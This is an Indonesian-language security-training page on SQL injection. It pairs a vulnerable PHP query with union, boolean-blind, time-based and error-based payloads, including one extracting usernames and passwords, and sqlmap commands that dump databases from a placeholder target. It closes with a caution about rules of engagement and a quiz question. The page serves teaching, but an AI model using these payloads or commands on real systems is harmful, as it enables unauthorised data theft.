Kembali ke Roadmap
// PHASE 3 · SQL Injection

SQL Injection

Apa Itu SQL Injection?

SQL Injection terjadi ketika input user dimasukkan langsung ke query SQL tanpa sanitasi. Attacker bisa memanipulasi query untuk membaca, mengubah, atau menghapus data.

Contoh Dasar

// Query RENTAN $query = "SELECT * FROM users WHERE id = " . $_GET['id']; # Input normal: id=1 SELECT * FROM users WHERE id = 1 # Input jahat: id=1 OR 1=1-- SELECT * FROM users WHERE id = 1 OR 1=1-- ← Dump semua user!

Tipe SQL Injection

1. Union-Based SQLi

# Deteksi jumlah kolom id=1 ORDER BY 1-- id=1 ORDER BY 2-- ← error = ada 1 kolom # Ekstrak data dengan UNION id=0 UNION SELECT 1,username,password FROM users--

2. Blind Boolean-Based

# Cek apakah vulnerable id=1 AND 1=1-- → respons normal id=1 AND 1=2-- → respons beda = vulnerable! # Ekstrak data karakter per karakter id=1 AND SUBSTRING(username,1,1)='a'--

3. Time-Based Blind

id=1 AND SLEEP(5)-- → delay 5 detik = vulnerable!

4. Error-Based

id=1 AND extractvalue(1,concat(0x7e,version()))--

sqlmap — Otomatisasi SQLi

# Basic scan sqlmap -u "https://target.com/item?id=1" # Dengan cookie (login) sqlmap -u "https://target.com/item?id=1" --cookie="session=abc123" # Dump database sqlmap -u "https://target.com/item?id=1" --dbs sqlmap -u "https://target.com/item?id=1" -D dbname --tables sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump
Hati-hati sqlmap: sqlmap agresif dan bisa membuat server down atau mengekstrak data nyata. Banyak program bug bounty melarang automated scanner. Selalu baca rules of engagement sebelum menggunakan sqlmap.
// CEK PEMAHAMAN
Bagaimana cara mendeteksi time-based blind SQL injection?
AServer menampilkan error message database
BHalaman menampilkan output yang berbeda
CServer memberikan respons yang tertunda (delay) sesuai fungsi SLEEP()
DHalaman redirect ke URL lain
Cross-Site Scripting (XSS) Server-Side Request Forgery (SSRF)